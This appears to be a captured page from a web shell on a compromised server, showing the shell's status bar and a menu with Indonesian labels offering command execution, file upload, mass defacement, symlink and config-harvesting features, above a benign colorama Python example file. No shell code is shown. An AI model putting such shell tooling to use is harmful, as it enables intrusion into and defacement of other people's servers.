OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /var/../usr/share/dpkg/../doc/libsmbios-c2/../python3-colorama/examples/ |
Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
---|
from __future__ import print_function import fixpath from colorama import colorama_text, Fore def main(): """automatically reset stdout""" with colorama_text(): print(Fore.GREEN + 'text is green') print(Fore.RESET + 'text is back to normal') print('text is back to stdout') if __name__ == '__main__': main()